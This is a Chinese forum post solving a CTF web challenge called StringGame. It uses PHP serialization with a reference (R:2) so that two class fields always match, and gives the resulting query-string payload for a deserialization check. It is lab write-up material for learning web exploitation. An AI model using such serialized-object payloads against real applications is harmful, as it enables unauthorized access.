查看: 81|回复: 0

[Web] xuenixiang_2021_web_stringgame

[复制链接]
发表于 7 天前 | 显示全部楼层 |阅读模式

相关题目:

♦ StringGame

返回题目,查看源码,发现代码

xuenixiang_2021_web_stringgame

xuenixiang_2021_web_stringgame


stripslashes() 函数用于删除反斜杠
get_magic_quotes_gpc判断前方是否使用了转义的数据
题目要求序列化过后的字符串并且类中的变量始终保持相同,引用 a=&b
<?php
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter=&$this->secret;
    }
}
echo serialize(new just4fun());
?>

payload:?pass=O:8:"just4fun":2:{s:5:"enter";N;s:6:"secret";R:2;}

ps:设计题目的问题,直接让enter和secret相等也行


<?php
class just4fun {
    var $enter;
    var $secret;
    function just4fun()
    {
        $this->enter="*";
        $this->secret="*";
    }
}
echo serialize(new just4fun());
?>


温馨提示:
1.如果您喜欢这篇帖子,请给作者点赞评分,点赞会增加帖子的热度,评分会给作者加学币。(评分不会扣掉您的积分,系统每天都会重置您的评分额度)。
2.回复帖子不仅是对作者的最好奖励,还可以获得学币奖励,请尊重作者的劳动成果,拒绝做伸手党!
3.发广告、灌水回复等违规行为一经发现直接禁言,如果本帖内容涉嫌违规,请点击论坛底部的举报反馈按钮,也可以在【投诉建议】板块发帖举报。
论坛交流群:672619046
关闭

论坛公告上一条 /1 下一条

快速回复 返回顶部 返回列表